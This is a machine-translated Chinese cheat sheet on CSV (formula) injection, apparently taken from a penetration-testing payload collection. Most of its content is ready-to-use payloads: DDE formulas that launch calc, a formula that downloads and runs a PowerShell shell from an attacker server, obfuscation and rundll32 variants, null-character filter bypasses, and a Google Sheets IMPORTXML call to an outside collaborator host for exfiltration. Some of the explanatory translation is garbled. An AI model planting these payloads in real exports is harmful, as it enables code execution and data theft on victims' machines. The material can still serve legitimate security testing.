CSV 注入 许多 Web 应用程序允许用户将内容(例如发票模板或用户设置)下载为 CSV 文件。许多用户选择在 Excel、LibreOffice 或 OpenOffice 中打开这些 CSV 文件。如果 Web 应用程序未对 CSV 文件的内容进行适当的验证,就可能导致单元格或多个单元格中的内容被执行。 摘要 方法论 Google Sheets 参考文献 方法论 CSV 注入,也称为公式注入,是一种安全漏洞,当不受信任的输入被包含在 CSV 文件中时就会发生。任何公式都可以通过以下方式启动: 使用 动态数据交换 (DDE) 的基本漏洞利用。 启动一个 calc 进程 下载并执行 PowerShell 脚本 前缀混淆与命令链 使用 rundll32 代替 cmd 使用空字符绕过字典过滤器。
许多 Web 应用程序允许用户将内容(例如发票模板或用户设置)下载为 CSV 文件。许多用户选择在 Excel、LibreOffice 或 OpenOffice 中打开这些 CSV 文件。如果 Web 应用程序未对 CSV 文件的内容进行适当的验证,就可能导致单元格或多个单元格中的内容被执行。
CSV 注入,也称为公式注入,是一种安全漏洞,当不受信任的输入被包含在 CSV 文件中时就会发生。任何公式都可以通过以下方式启动:
= + – @
使用 动态数据交换 (DDE) 的基本漏洞利用。
启动一个 calc 进程
DDE ("cmd";"/C calc";"!A0")A0 @SUM(1+1)*cmd|' /C calc'!A0 =2+5+cmd|' /C calc'!A0 =cmd|' /C calc'!'A1'
下载并执行 PowerShell 脚本
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
前缀混淆与命令链
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A =cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A = cmd|'/c calc.exe'!A
使用 rundll32 代替 cmd
=rundll32|'URL.dll,OpenURL calc.exe'!A =rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
使用空字符绕过字典过滤器。由于它们不是空格,在执行时会被忽略。
= C m D | '/ c c al c . e x e ' ! A
上述有效载荷的技术细节:
cmd is the name the server can respond to whenever a client is trying to access the server/C calc is the file name which in our case is the calc(i.e the calc.exe)!A0 是项目名称,用于指定当客户端请求数据时,服务器可以响应的数据单元。Google Sheets 支持一些额外的公式,这些公式能够获取远程 URL:
因此,可以通过以下方式测试盲式公式注入或潜在的数据外泄:
=IMPORTXML("http://burp.collaborator.net/csv", "//a/@href")
注意:系统会弹出警告,提示用户某个公式正尝试访问外部资源,并要求用户授权。
免责声明:
本文件由基于人工智能的机器翻译服务翻译而成。尽管我们力求翻译准确,但请注意,自动翻译可能包含错误或不准确之处。应以原始语言版本的文件为准,作为权威依据。对于关键信息,建议采用专业的人工翻译。对于因使用本翻译而产生的任何误解或误读,我们概不负责。